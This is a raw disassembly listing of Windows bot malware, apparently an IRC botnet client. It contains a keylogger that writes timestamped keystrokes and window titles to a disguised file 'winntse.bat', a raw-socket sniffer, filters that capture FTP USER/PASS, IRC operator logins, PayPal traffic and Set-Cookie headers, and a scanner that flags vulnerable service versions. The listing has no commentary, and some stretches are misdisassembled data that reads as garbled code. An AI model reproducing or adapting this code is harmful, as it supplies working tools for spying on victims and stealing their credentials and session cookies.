		dd 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 0CBE8FFFFh, 8DFFFF7Ah
		dd 0FFF88885h, 93E850FFh, 0FF000038h, 0FFFE98B5h, 940CE8FFh
		dd 0C483FFFFh, 0D9E8531Ch, 9F006EE0h, 39087D8Bh, 2A09Fh
		dd 95840F00h, 0BF000002h, 80h, 0FF30858Dh, 5357FFFFh, 0E445C750h
		dd 5, 88E845C7h, 89000013h, 0FFF788B5h,	8485C7FFh, 1FFFFF7h
		dd 0E8000000h, 9CD8h, 8D0CC483h, 5350E445h, 0F784858Dh
		dd 5053FFFFh, 0D815FF53h, 85004D11h, 398E0FC0h,	0A0000002h
		dd 443398h, 8588CF8Bh, 0FFFFFA88h, 0BD8DC033h, 0FFFFFA89h
		dd 10F445C7h, 0F3000000h, 0AAAB66ABh, 50F4458Dh, 50C4458Dh
		dd 30858D53h, 68FFFFFFh, 80h, 15FF5650h, 4D11C8h, 89C875FFh
		dd 15FFF845h, 4D127Ch, 0B0458D50h, 9F5CE850h, 9D380000h
		dd 0FFFFFF30h, 850F5959h, 1C2h,	0FF31BD80h, 0F01FFFFh
		dd 0BB85h, 94858D00h, 50FFFFFDh, 988FE8h, 0FF535300h, 0B2E8FC75h
		dd 0FF0000B8h, 858DFC75h, 0FFFFFA8Ch, 0FA889D88h, 85C6FFFFh
		dd 0FFFFFA89h, 2006803h, 16A0000h, 8A9D8850h, 0C6FFFFFAh
		dd 0FFFA8B85h, 55E801FFh, 83000099h, 4D8D20C4h,	0F84589C4h
		dd 0FF04C083h, 5351F475h, 88858D50h, 50FFFFFAh,	5415FF56h
		dd 8D004D12h, 8D50B045h, 0FFF88885h, 0C95468FFh, 0E8500043h
		dd 9EC6h, 390CC483h, 0FFFF289Dh, 532375FFh, 0F888858Dh
		dd 0B5FFFFFFh, 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh
		dd 37E8FFFFh, 83FFFF79h, 858D14C4h, 0FFFFF888h,	36FCE850h
		dd 0E9590000h, 110h, 0FF31BD80h, 0F04FFFFh, 0ED85h, 338D8A00h
		dd 8AFFFFFFh, 0FFFF3285h, 0FFF980FFh, 0FA889D88h, 85C6FFFFh
		dd 0FFFFFA89h, 0FE127503h, 88C932C0h, 0FFFA8A85h, 8B9D88FFh
		dd 0EBFFFFFAh, 88C1FE0Eh, 0FFFA8A85h, 8B8D88FFh, 0FFFFFFAh
		dd 0B60FC0B6h, 8E0C1C9h, 0BFC103h, 0C1000002h, 0C72B09E0h
		dd 75FF5053h, 0B7A3E8FCh, 75FF0000h, 8C858DFCh,	57FFFFFAh
		dd 0E850016Ah, 9864h, 8B1CC483h, 0C4458DF8h, 0FFF87D89h
		dd 8D50F475h, 50530447h, 0FA88858Dh, 5650FFFFh,	125415FFh
		dd 0FB3B004Dh, 458D6E75h, 858D50B0h, 0FFFFF888h, 43C93468h
		dd 0CFE85000h, 8300009Dh, 9D390CC4h, 0FFFFFF28h, 8D532375h
		dd 0FFF88885h, 24B5FFFFh, 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh
		dd 0FFFC8CB5h, 7840E8FFh, 0C483FFFFh, 88858D14h, 50FFFFF8h
		dd 3605E8h, 0FC05FF00h,	59004D3Ch, 75FF16EBh, 0C4458DF4h
		dd 96A5350h, 43C92868h,	15FF5600h, 4D1254h, 0FF85D39h
		dd 0FFFD5F8Fh, 87D8BFFh, 8815FF56h, 0FF004D12h,	30E8FC75h
		dd 0FF000097h, 0FFFE9C8Dh, 0A09F39FFh, 59000002h, 0B5FF1375h
		dd 0FFFFFE98h, 0FF9135E8h, 0E85359FFh, 6EDE04h,	3E86849h
		dd 15FF0000h, 427064h, 0FB8AE857h, 5E5FFFFFh, 4C2C95Bh
		db 0
; ---------------------------------------------------------------------------


loc_412215:				; CODE XREF: seg000:004123AAp
					; seg000:00412549p
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	ds:dword_427130	; GetLocalTime
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		call	near ptr 0B00000h
		mov	dh, 8Dh
		test	ebp, esp
; ---------------------------------------------------------------------------
		dw 0FFFEh
; ---------------------------------------------------------------------------
		jmp	fword ptr [eax+14h]
; ---------------------------------------------------------------------------
		rol	dword ptr [ebx+0], 1
		push	eax
		call	sub_41C560
		lea	eax, [ebp-114h]
		push	offset aWinntse_bat ; "winntse.bat"
		push	eax
		call	sub_41C560
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41BBB8
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_41227C
		push	1
		pop	eax
		jmp	short loc_4122F3
; ---------------------------------------------------------------------------


loc_41227C:				; CODE XREF: seg000:00412275j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41C49F
		push	esi
		call	sub_41B90B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_4122F1
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_43D0E4
		push	200h
		push	eax
		call	sub_41C030
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 24h


loc_4122F1:				; CODE XREF: seg000:004122B8j
		xor	eax, eax


loc_4122F3:				; CODE XREF: seg000:0041227Aj
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4122F6:				; DATA XREF: seg000:00405F0Fo
		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		and	dword ptr [ebp-8DCh], 0
		push	25h
		and	dword ptr [ebp-4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-0DCh]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-8D8h]
		rep stosd
		call	ds:dword_4D1174
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp-8], eax
		call	ds:dword_4D118C
		mov	ebx, 200h


loc_412351:				; CODE XREF: seg000:004125BDj
		push	8
		call	ds:dword_427064	; Sleep
		call	ds:dword_4D1174
		cmp	eax, [ebp-8]
		jz	short loc_4123D9
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp-8], eax
		call	ds:dword_4D118C
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-2DCh]
		push	eax
		lea	eax, [ebp-4DCh]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_41BF36
		sub	esp, 84h
		lea	esi, [ebp-0DCh]
		lea	eax, [ebp-4DCh]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	loc_412215
		mov	[ebp-4], eax
		push	ebx
		lea	eax, [ebp-2DCh]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0A4h
		lea	eax, [ebp-4DCh]
		push	ebx
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch


loc_4123D9:				; CODE XREF: seg000:00412362j
		mov	dword ptr [ebp+8], offset aB_1 ; "b"


loc_4123E0:				; CODE XREF: seg000:004125B3j
		push	10h
		call	ds:dword_4D10C4
		movsx	esi, ax
		mov	eax, [ebp+8]
		mov	edi, [eax-4]
		push	edi
		call	ds:dword_4D11BC
		test	ah, 80h
		jz	short loc_412478
		push	14h
		call	ds:dword_4D10C4
		test	ax, ax
		jz	short loc_412429
		cmp	esi, 0FFFFFFFFh
		jle	short loc_412429
		cmp	edi, 40h
		jle	short loc_412429
		cmp	edi, 5Bh
		jge	short loc_412429
		mov	dword ptr [ebp+edi*4-8DCh], 1
		jmp	loc_4125A8
; ---------------------------------------------------------------------------


loc_412429:				; CODE XREF: seg000:00412408j
					; seg000:0041240Dj ...
		push	14h
		call	ds:dword_4D10C4
		test	ax, ax
		jz	short loc_412454
		test	esi, esi
		jge	short loc_412468
		cmp	edi, 40h
		jle	short loc_412454
		cmp	edi, 5Bh
		jge	short loc_412454
		mov	dword ptr [ebp+edi*4-8DCh], 2
		jmp	loc_4125A8
; ---------------------------------------------------------------------------


loc_412454:				; CODE XREF: seg000:00412434j
					; seg000:0041243Dj ...
		test	esi, esi
		jge	short loc_412468
		mov	dword ptr [ebp+edi*4-8DCh], 3
		jmp	loc_4125A8
; ---------------------------------------------------------------------------


loc_412468:				; CODE XREF: seg000:00412438j
					; seg000:00412456j
		mov	dword ptr [ebp+edi*4-8DCh], 4
		jmp	loc_4125A8
; ---------------------------------------------------------------------------


loc_412478:				; CODE XREF: seg000:004123FBj
		mov	esi, [ebp+edi*4-8DCh]
		lea	eax, [ebp+edi*4-8DCh]
		test	esi, esi
		jz	loc_4125A8
		and	dword ptr [eax], 0
		lea	eax, [ebp-2DCh]
		cmp	edi, 8
		push	eax
		jnz	short loc_4124B0
		call	sub_41B890
		and	byte ptr [ebp+eax-2DDh], 0
		pop	ecx
		jmp	loc_4125A8
; ---------------------------------------------------------------------------


loc_4124B0:				; CODE XREF: seg000:0041249Bj
		call	sub_41B890
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_4124E2
		call	ds:dword_4D1174
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		call	ds:dword_4D118C
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-2DCh]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_412523
; ---------------------------------------------------------------------------


loc_4124E2:				; CODE XREF: seg000:004124BBj
		cmp	edi, 0Dh
		jnz	loc_41257A
		lea	eax, [ebp-2DCh]
		push	eax
		call	sub_41B890
		test	eax, eax
		pop	ecx
		jz	loc_4125A8
		call	ds:dword_4D1174
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		call	ds:dword_4D118C
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-2DCh]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_412523:				; CODE XREF: seg000:004124E0j
		lea	eax, [ebp-4DCh]
		push	eax
		call	sub_41BF36
		sub	esp, 84h
		lea	esi, [ebp-0DCh]
		lea	eax, [ebp-4DCh]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	loc_412215
		mov	[ebp-4], eax
		push	ebx
		lea	eax, [ebp-2DCh]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0A4h
		lea	eax, [ebp-4DCh]
		push	ebx
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		jmp	short loc_4125A8
; ---------------------------------------------------------------------------


loc_41257A:				; CODE XREF: seg000:004124E5j
		cmp	esi, 1
		jz	short loc_412593
		cmp	esi, 3
		jz	short loc_412593
		cmp	esi, 2
		jz	short loc_41258E
		cmp	esi, 4
		jnz	short loc_4125A8


loc_41258E:				; CODE XREF: seg000:00412587j
		push	dword ptr [ebp+8]
		jmp	short loc_41259A
; ---------------------------------------------------------------------------


loc_412593:				; CODE XREF: seg000:0041257Dj
					; seg000:00412582j
		mov	eax, [ebp+8]
		add	eax, 7
		push	eax


loc_41259A:				; CODE XREF: seg000:00412591j
		lea	eax, [ebp-2DCh]
		push	eax
		call	sub_41C560
		pop	ecx
		pop	ecx


loc_4125A8:				; CODE XREF: seg000:00412424j
					; seg000:0041244Fj ...
		add	dword ptr [ebp+8], 14h
		cmp	dword ptr [ebp+8], offset dword_43D0AC
		jl	loc_4123E0
		cmp	dword ptr [ebp-4], 0
		jz	loc_412351
		push	dword ptr [ebp-0D8h]
		call	sub_40B32A
		pop	ecx
		push	0
		call	near ptr 0B00000h
		push	es


loc_4125D7:				; DATA XREF: seg000:00405C0Co
		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_41C1D0
		mov	edx, [ebp+8]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp-0B4h]
		pop	ecx
		mov	[ebp-8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	esi
		call	ds:dword_4D11F0
		push	dword ptr [ebp-0B4h]
		mov	[ebp-1Ah], ax
		call	sub_40AB6A
		pop	ecx
		push	eax
		call	ds:dword_4D1230
		push	esi
		push	3
		push	2
		mov	[ebp-18h], eax
		call	ds:dword_4D1270
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-4], edi
		jnz	short loc_4126AC
		call	ds:dword_4D1184
		push	eax
		lea	eax, [ebp-2B4h]
		push	offset dword_43DAB4
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp-28h], esi
		jnz	short loc_41268F
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_4099D2
		add	esp, 14h


loc_41268F:				; CODE XREF: seg000:0041266Dj
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_4157A6
		push	dword ptr [ebp-30h]
		call	sub_40B32A
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0B00000h
		pop	ds


loc_4126AC:				; CODE XREF: seg000:0041264Dj
		mov	eax, [ebp-30h]
		push	10h
		imul	eax, 234h
		mov	ds:dword_44412C[eax], edi
		lea	eax, [ebp-1Ch]
		push	eax
		push	edi
		call	ds:dword_4D121C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412731
		call	ds:dword_4D1184
		push	eax
		lea	eax, [ebp-2B4h]
		push	offset dword_43DA88
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp-28h], esi
		jnz	short loc_41270D
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_4099D2
		add	esp, 14h


loc_41270D:				; CODE XREF: seg000:004126EBj
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_4157A6
		pop	ecx
		push	edi
		call	ds:dword_4D1288
		push	dword ptr [ebp-30h]
		call	sub_40B32A
		pop	ecx
		push	esi
		call	near ptr 0B00000h
		xchg	eax, ecx


loc_412731:				; CODE XREF: seg000:004126CBj
		push	esi
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp-8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	ds:dword_4D119C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4127B4
		call	ds:dword_4D1184
		push	eax
		lea	eax, [ebp-2B4h]
		push	offset dword_43DA58
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp-28h], esi
		jnz	short loc_412790
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_4099D2
		add	esp, 14h


loc_412790:				; CODE XREF: seg000:0041276Ej
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_4157A6
		pop	ecx
		push	edi
		call	ds:dword_4D1288
		push	dword ptr [ebp-30h]
		call	sub_40B32A
		pop	ecx
		push	esi
		call	near ptr 0B00000h
		pop	ecx


loc_4127B4:				; CODE XREF: seg000:0041274Ej
		push	ebx
		mov	ebx, offset dword_43D170


loc_4127BA:				; CODE XREF: seg000:004127F2j
					; seg000:00412804j ...
		mov	edi, 0FFFFh
		lea	eax, [ebp-102B4h]
		push	edi
		push	esi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp-102B4h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	ds:dword_4D1208
		cmp	eax, 0FFFFFFFFh
		jz	loc_4128E7
		cmp	byte ptr [ebp-102ABh], 6
		jnz	short loc_4127BA
		mov	eax, [ebp-102A8h]
		cmp	byte ptr [ebp-10293h], 18h
		mov	[ebp-0Ch], eax
		jnz	short loc_4127BA
		lea	eax, [ebp-1028Ch]
		push	offset dword_43DA4C
		push	eax
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4127BA
		lea	eax, [ebp-1028Ch]
		push	offset dword_43DA3C
		push	eax
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4127BA
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	loc_4127BA
		mov	[ebp+8], ebx


loc_412843:				; CODE XREF: seg000:0041285Ej
		push	eax
		lea	eax, [ebp-1028Ch]
		push	eax
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412865
		inc	edi
		add	dword ptr [ebp+8], 18h
		mov	eax, [ebp+8]
		jnz	short loc_412843
		jmp	loc_4127BA
; ---------------------------------------------------------------------------


loc_412865:				; CODE XREF: seg000:00412854j
		lea	eax, [ebp-1028Ch]
		push	eax
		push	dword ptr [ebp-102A0h]
		call	ds:dword_4D1120
		movzx	eax, ax
		push	eax
		push	dword ptr [ebp-0Ch]
		call	ds:dword_4D127C
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, ds:dword_43D184[eax*8]
		push	ds:off_43D160[eax*4]
		lea	eax, [ebp-2B4h]
		push	offset dword_43DA08
		push	200h
		push	eax
		call	sub_41C030
		add	esp, 1Ch
		cmp	[ebp-28h], esi
		jnz	short loc_4128D5
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_4099D2
		add	esp, 14h


loc_4128D5:				; CODE XREF: seg000:004128B3j
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_4157A6
		pop	ecx
		jmp	loc_4127BA
; ---------------------------------------------------------------------------


loc_4128E7:				; CODE XREF: seg000:004127E5j
		call	ds:dword_4D1184
		push	eax
		push	offset dword_43D9DC
		lea	eax, [ebp-2B4h]
		push	200h
		push	eax
		call	sub_41C030
		add	esp, 10h
		cmp	[ebp-28h], esi
		pop	ebx
		jnz	short loc_41292D
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_4099D2
		add	esp, 14h


loc_41292D:				; CODE XREF: seg000:0041290Bj
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_4157A6
		pop	ecx
		push	dword ptr [ebp-4]
		call	ds:dword_4D1288
		push	dword ptr [ebp-30h]
		call	sub_40B32A
		pop	ecx
		push	esi
		call	near ptr 0B00000h
		cmp	eax, 424448Bh
		mov	ds:dword_4D3F60, eax
		mov	eax, offset dword_4D3F60
		retn
; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41297C


loc_412978:				; CODE XREF: seg000:0041298Bj
					; seg000:0041299Cj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41297C:				; CODE XREF: seg000:00412976j
		push	offset aMss2	; "#mss2"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412978
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412978
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412978
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4129C4


loc_4129C0:				; CODE XREF: seg000:004129D3j
					; seg000:004129E4j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4129C4:				; CODE XREF: seg000:004129BEj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4129C0
		push	offset a366	; "366 "
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4129C0
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4129C0
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4129C0
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4129C0
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4129C0
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4129C0
		push	offset aIdent	; ":!ident"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4129C0
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4129C0
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn

; =============== S U B	R O U T	I N E =======================================



sub_412A79	proc near		; CODE XREF: seg000:00412F5Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412A93


loc_412A8F:				; CODE XREF: sub_412A79+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412A93:				; CODE XREF: sub_412A79+14j
		push	offset aMss2	; "#mss2"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412A8F
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412AB9


loc_412AB5:				; CODE XREF: sub_412A79+4Fj
					; sub_412A79+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412AB9:				; CODE XREF: sub_412A79+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412AB5
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412AB5
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412A79	endp


; =============== S U B	R O U T	I N E =======================================



sub_412AEF	proc near		; CODE XREF: seg000:00412F90p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412B09


loc_412B05:				; CODE XREF: sub_412AEF+29j
					; sub_412AEF+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412B09:				; CODE XREF: sub_412AEF+14j
		push	offset aMss2	; "#mss2"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412B05
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412B05
		push	offset a220	; "220 "
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412B40


loc_412B3C:				; CODE XREF: sub_412AEF+60j
					; sub_412AEF+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412B40:				; CODE XREF: sub_412AEF+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412B3C
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412B3C
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412AEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_412B76	proc near		; CODE XREF: seg000:00412FC1p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412B90


loc_412B8C:				; CODE XREF: sub_412B76+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412B90:				; CODE XREF: sub_412B76+14j
		push	offset aMss2	; "#mss2"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412B8C
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412BB6


loc_412BB2:				; CODE XREF: sub_412B76+4Fj
					; sub_412B76+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412BB6:				; CODE XREF: sub_412B76+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412BB2
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412BB2
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412BB2
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412B76	endp


; =============== S U B	R O U T	I N E =======================================



sub_412BFD	proc near		; CODE XREF: seg000:loc_413027p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412C17


loc_412C13:				; CODE XREF: sub_412BFD+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412C17:				; CODE XREF: sub_412BFD+14j
		push	offset aMss2	; "#mss2"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C13
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412C3D


loc_412C39:				; CODE XREF: sub_412BFD+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412C3D:				; CODE XREF: sub_412BFD+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C39
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412BFD	endp

; ---------------------------------------------------------------------------


loc_412C62:				; DATA XREF: seg000:00405D5Bo
		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41C1D0
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-0B8h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp-3B7h]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp-3B8h], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp-3B8h]
		mov	word ptr [ebp-20h], 2
		push	eax
		mov	[ebp-1Eh], bx
		mov	[ebp-1Ch], ebx
		call	ds:dword_4D1204
		lea	eax, [ebp-3B8h]
		push	eax
		call	ds:dword_4D1274
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp-8]
		push	eax
		call	near ptr sub_41C9B0
		mov	eax, [ebp-8]
		add	esp, 0Ch
		mov	[ebp-1Ch], eax
		push	ebx
		push	3
		push	2
		call	ds:dword_4D1270
		mov	edi, eax
